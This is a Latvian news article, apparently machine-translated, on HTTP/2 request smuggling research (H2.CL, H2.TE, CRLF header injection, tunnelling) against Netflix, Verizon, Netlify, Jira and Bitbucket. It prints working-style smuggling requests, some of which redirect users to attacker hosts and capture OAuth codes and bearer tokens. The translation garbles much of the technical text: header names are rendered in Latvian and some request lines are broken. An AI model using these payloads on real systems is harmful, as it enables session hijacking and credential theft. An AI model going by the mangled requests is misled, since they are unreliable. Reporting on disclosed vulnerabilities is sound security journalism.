Jauns uzbrukums priekÅ”gala-backend sistēmām, kas ļauj iejaukties pieprasÄ«jumos

TÄ«mekļa sistēmas, kurās priekÅ”gals pieņem savienojumus, izmantojot HTTP/2 un nosÅ«ta tos aizmugursistēmai, izmantojot HTTP/1.1, ir pakļautas jaunam ā€œHTTP pieprasÄ«jumu kontrabandasā€ uzbrukuma variantam, kas ļauj, nosÅ«tot Ä«paÅ”i izstrādātus klientu pieprasÄ«jumus, iekļūst citu lietotāju pieprasÄ«jumu saturā, kas apstrādāti tajā paŔā plÅ«smā starp priekÅ”galu un aizmugursistēmu. Uzbrukumu var izmantot, lai ievietotu ļaunprātÄ«gu JavaScript kodu sesijā ar likumÄ«gu vietni, apietu piekļuves ierobežojumu sistēmas un pārtvertu autentifikācijas parametrus.

Problēma skar tÄ«mekļa starpniekserverus, slodzes balansētājus, tÄ«mekļa paātrinātājus, satura piegādes sistēmas un citas konfigurācijas, kurās pieprasÄ«jumi tiek novirzÄ«ti no priekÅ”gala uz aizmuguri. PētÄ«juma autors demonstrēja iespēju uzbrukt Netflix, Verizon, Bitbucket, Netlify CDN un Atlassian sistēmām un saņēma 56 tÅ«kstoÅ”us dolāru atlÄ«dzÄ«bas programmās par ievainojamÄ«bu identificÄ“Å”anu. Problēma ir apstiprināta arÄ« F5 Networks produktos. Problēma daļēji ietekmē mod_proxy Apache http serverÄ« (CVE-2021-33193), ir gaidāms labojums versijā 2.4.49 (izstrādātāji tika informēti par problēmu maija sākumā, un viņiem tika doti 3 mēneÅ”i tās novērÅ”anai). Programmā nginx pēdējā laidienā (1.21.1) tika bloķēta iespēja vienlaikus norādÄ«t galvenes ā€œContent-Lengthā€ un ā€œTransfer-Encodingā€. Uzbrukuma rÄ«ki jau ir iekļauti Burp rÄ«ku komplektā un ir pieejami paplaÅ”inājuma Turbo Intruder veidā.

Jaunās pieprasÄ«jumu piesaistÄ«Å”anas datplÅ«smā metodes darbÄ«bas princips ir lÄ«dzÄ«gs ievainojamÄ«bai, ko tas pats pētnieks atklāja pirms diviem gadiem, taču tas attiecas tikai uz priekŔējām ierÄ«cēm, kas pieņem pieprasÄ«jumus, izmantojot HTTP/1.1. Atgādināsim, ka frontend-backend shēmā klientu pieprasÄ«jumus saņem papildu mezgls - frontend, kas izveido ilgstoÅ”u TCP savienojumu ar aizmugursistēmu, kas tieÅ”i apstrādā pieprasÄ«jumus. Izmantojot Å”o kopÄ«go savienojumu, parasti tiek pārsÅ«tÄ«ti dažādu lietotāju pieprasÄ«jumi, kas seko ķēdei viens pēc otra, atdalÄ«ti ar HTTP protokola palÄ«dzÄ«bu.

Klasiskais ā€œHTTP pieprasÄ«jumu kontrabandasā€ uzbrukums tika balstÄ«ts uz faktu, ka priekÅ”gala un aizmugursistēmas interpretē HTTP galvenes ā€œContent-Lengthā€ (nosaka kopējo pieprasÄ«jumā esoÅ”o datu lielumu) un ā€œTransfer-Encoding: chunkedā€ (ļauj pa daļām pārsÅ«tāmie dati) atŔķirÄ«gi. Piemēram, ja priekÅ”gals atbalsta tikai "Content-Length", bet ignorē "Transfer-Encoding: chunked", tad uzbrucējs var nosÅ«tÄ«t pieprasÄ«jumu, kurā ir gan galvenes "Content-Length", gan "Transfer-Encoding: chunked", taču izmērs ir "Satura garums" neatbilst gabalos sadalÄ«tās ķēdes izmēram. Šādā gadÄ«jumā priekÅ”gals apstrādās un novirzÄ«s pieprasÄ«jumu saskaņā ar ā€œContent-Lengthā€, un aizmugursistēma gaidÄ«s bloka pabeigÅ”anu, pamatojoties uz ā€œTransfer-Encoding: chunkedā€, un uzbrucēja pieprasÄ«juma atlikuŔā daļa tiks pabeigta. bÅ«t kāda cita pieprasÄ«juma sākumā, kas tiek nosÅ«tÄ«ts nākamais.

AtŔķirÄ«bā no teksta protokola HTTP/1.1, kas tiek parsēts rindas lÄ«menÄ«, HTTP/2 ir binārs protokols un manipulē ar iepriekÅ” noteikta izmēra datu blokiem. Tomēr HTTP/2 izmanto pseidogalvenes, kas atbilst parastajām HTTP galvenēm. MijiedarbÄ«bas gadÄ«jumā ar aizmugursistēmu, izmantojot protokolu HTTP/1.1, priekÅ”gals pārvērÅ” Ŕīs pseidogalvenes lÄ«dzÄ«gās HTTP galvenēs HTTP/1.1. Problēma ir tā, ka aizmugursistēma pieņem lēmumus par straumes parsÄ“Å”anu, pamatojoties uz priekÅ”gala iestatÄ«tajām HTTP galvenēm, bez informācijas par sākotnējā pieprasÄ«juma parametriem.

Jo Ä«paÅ”i vērtÄ«bas ā€œsatura garumsā€ un ā€œpārsÅ«tÄ«Å”anas kodējumsā€ var pārsÅ«tÄ«t pseidogalvenes veidā, neskatoties uz to, ka tās netiek izmantotas HTTP/2, jo tiek noteikts visu datu lielums. atseviŔķā laukā. Tomēr HTTP/2 pieprasÄ«juma pārveidoÅ”anas laikā par HTTP/1.1 Ŕīs galvenes tiek pārnestas un var sajaukt aizmugursistēmu. Ir divi galvenie uzbrukuma varianti: H2.TE un H2.CL, kuros aizmugursistēma tiek maldināta ar nepareizu pārsÅ«tÄ«Å”anas kodējumu vai satura garuma vērtÄ«bu, kas neatbilst pieprasÄ«juma pamatteksta faktiskajam izmēram, ko priekÅ”gals ir saņēmis, izmantojot HTTP/2 protokols.

Jauns uzbrukums priekÅ”gala-backend sistēmām, kas ļauj iejaukties pieprasÄ«jumos

H2.CL uzbrukuma piemērs ir norādÄ«t nepareizu izmēru satura garuma pseidogalvenē, nosÅ«tot HTTP/2 pieprasÄ«jumu pakalpojumam Netflix. Å is pieprasÄ«jums noved pie lÄ«dzÄ«gas HTTP galvenes Content-Length pievienoÅ”anas, piekļūstot aizmugursistēmai, izmantojot HTTP/1.1, taču, tā kā lielums sadaļā Content-Length ir norādÄ«ts mazāks nekā faktiskais, daļa no aizmugures esoÅ”ajiem datiem tiek apstrādāta kā nākamā pieprasÄ«juma sākumā.

Piemēram, pieprasiet HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Rezultātā uz aizmugursistēmu tiks nosūtīts pieprasījums: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Tā kā satura garuma vērtÄ«ba ir 4, aizmugursistēma pieņems tikai ā€œabcdā€ kā pieprasÄ«juma pamattekstu, un pārējais ā€œGET /n HTTP/1.1...ā€ tiks apstrādāts kā nākamā pieprasÄ«juma sākums. saistÄ«ts ar citu lietotāju. AttiecÄ«gi straume tiks desinhronizēta un, atbildot uz nākamo pieprasÄ«jumu, tiks izdots fiktÄ«va pieprasÄ«juma apstrādes rezultāts. Netflix gadÄ«jumā, fiktÄ«va pieprasÄ«juma galvenē ā€œHost:ā€ norādot treŔās puses resursdatoru, klients atgrieza atbildi ā€œAtraÅ”anās vieta: https://02.rs?x.netflix.com/nā€ un ļāva klientam nosÅ«tÄ«t patvaļīgu saturu, tostarp palaist JavaScript kodu Netflix vietnes kontekstā.

Otrā uzbrukuma iespēja (H2.TE) ietver galvenes ā€œTransfer-Encoding: chunkedā€ aizstāŔanu. PārsÅ«tÄ«Å”anas kodÄ“Å”anas pseidogalvenes izmantoÅ”ana HTTP/2 ir aizliegta ar specifikāciju, un pieprasÄ«jumi ar to tiek uzskatÄ«ti par nepareiziem. Neskatoties uz to, daži priekÅ”gala implementācijas neņem vērā Å”o prasÄ«bu un ļauj HTTP/2 izmantot pārsÅ«tÄ«Å”anas kodÄ“Å”anas pseidogalveni, kas tiek pārveidota par lÄ«dzÄ«gu HTTP galveni. Ja ir virsraksts ā€œTransfer-Encodingā€, aizmugursistēma var pieņemt to kā augstāku prioritāti un parsēt datus pa gabalam ā€œsadalÄ«tāā€ režīmā, izmantojot dažāda lieluma blokus formātā ā€œ{size}\r\n{block }\r\n{izmērs} \r\n{bloks}\r\n0, neskatoties uz sākotnējo sadalÄ«jumu pēc kopējā izmēra.

Šādas plaisas esamību pierādīja Verizon piemērs. Problēma attiecās uz autentifikācijas portālu un satura pārvaldības sistēmu, kas tiek izmantota arī tādās vietnēs kā Huffington Post un Engadget. Piemēram, klienta pieprasījums, izmantojot HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Rezultātā aizmugursistēmai tika nosÅ«tÄ«ts HTTP/1.1 pieprasÄ«jums: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Satura garums: 66 PārsÅ«tÄ«Å”anas kodējums: chunked 0 GET /oops HTTP/1.1 Host: psres. neto saturs- garums: 10x=

Savukārt aizmugursistēma ignorēja galveni ā€œContent-Lengthā€ un veica plÅ«smā ievietotu sadalÄ«Å”anu, pamatojoties uz ā€œTransfer-Encoding: chunkedā€. Praksē uzbrukums ļāva novirzÄ«t lietotāju pieprasÄ«jumus uz viņu vietni, tostarp pārtvert ar OAuth autentifikāciju saistÄ«tus pieprasÄ«jumus, kuru parametri tika parādÄ«ti Referer galvenē, kā arÄ« simulēt autentifikācijas sesiju un aktivizēt lietotāja sistēmu, lai nosÅ«tÄ«tu akreditācijas datus. uzbrucēja saimniekam. GET /b2blanding/show/oops HTTP/1.1 Saimniekdators: psres.net Atsaucējs: https://id.b2b.oath.com/?ā€¦&code=secret GET / HTTP/1.1 Saimniekdators: psres.net Autorizācija: Nesējs eyJhcGwiOiJIUzI1cCI1IInkR6cCI6

Lai uzbruktu HTTP/2 implementācijām, kas neļauj norādÄ«t pārsÅ«tÄ«Å”anas kodÄ“Å”anas pseidogalveni, ir ierosināta cita metode, kas ietver galvenes ā€œTransfer-Encodingā€ aizstāŔanu, pievienojot to citām pseidogalvenēm, kas atdalÄ«tas ar jaunas rindiņas rakstzÄ«mi ( konvertējot uz HTTP/1.1, Å”ajā gadÄ«jumā tiek izveidotas divas atseviŔķas HTTP galvenes).

Piemēram, Ŕī problēma skāra Atlassian Jira un Netlify CDN (izmanto, lai apkalpotu Mozilla sākuma lapu pārlÅ«kprogrammā Firefox). Konkrēti, HTTP/2 pieprasÄ«jums :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Satura garums: 5\r\n \r\nx=

rezultātā HTTP/1.1 POST / HTTP/1.1 pieprasÄ«jums tika nosÅ«tÄ«ts uz aizmugursistēmu\r\n Resursdators: start.mozilla.org\r\n Foo: b\r\n PārsÅ«tÄ«Å”anas kodējums: chunked\r\n Satura garums : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Saimniekdators: evil-netlify-domain\r\n Satura garums: 5\r\n \r \nx=

Vēl viena iespēja, kā aizstāt galveni ā€œTransfer-Encodingā€, bija pievienot to citas pseidogalvenes nosaukumam vai rindai ar pieprasÄ«juma metodi. Piemēram, piekļūstot Atlassian Jira, pseido galvenes nosaukums "foo: bar\r\ntransfer-encoding" ar vērtÄ«bu "chunked" izraisÄ«ja HTTP galvenes "foo: bar" un "transfer-encoding: chunked" pievienoÅ”anu. , un norādot pseidogalvenes ":method" vērtÄ«bu "GET / HTTP/1.1\r\nTransfer-encoding: chunked" tika tulkota kā "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Pētnieks, kurÅ” identificēja problēmu, arÄ« ierosināja pieprasÄ«juma tunelÄ“Å”anas paņēmienu, lai uzbruktu priekÅ”galiem, kurā katra IP adrese izveido atseviŔķu savienojumu ar aizmugursistēmu un netiek sajaukta dažādu lietotāju trafika. Piedāvātā tehnika neļauj iejaukties citu lietotāju pieprasÄ«jumos, bet ļauj saindēt koplietoto keÅ”atmiņu, kas ietekmē citu pieprasÄ«jumu apstrādi, un ļauj aizstāt iekŔējās HTTP galvenes, ko izmanto pakalpojuma informācijas pārsÅ«tÄ«Å”anai no priekÅ”gala uz aizmugursistēmu ( piemēram, veicot autentifikāciju priekÅ”gala pusē, Ŕādas galvenes var pārsÅ«tÄ«t informāciju par paÅ”reizējo lietotāju uz aizmuguri). Kā piemēru metodes pielietoÅ”anai praksē, izmantojot keÅ”atmiņas saindÄ“Å”anu, Bitbucket servisā bija iespējams iegÅ«t kontroli pār lapām.

Avots: opennet.ru

Pievieno komentāru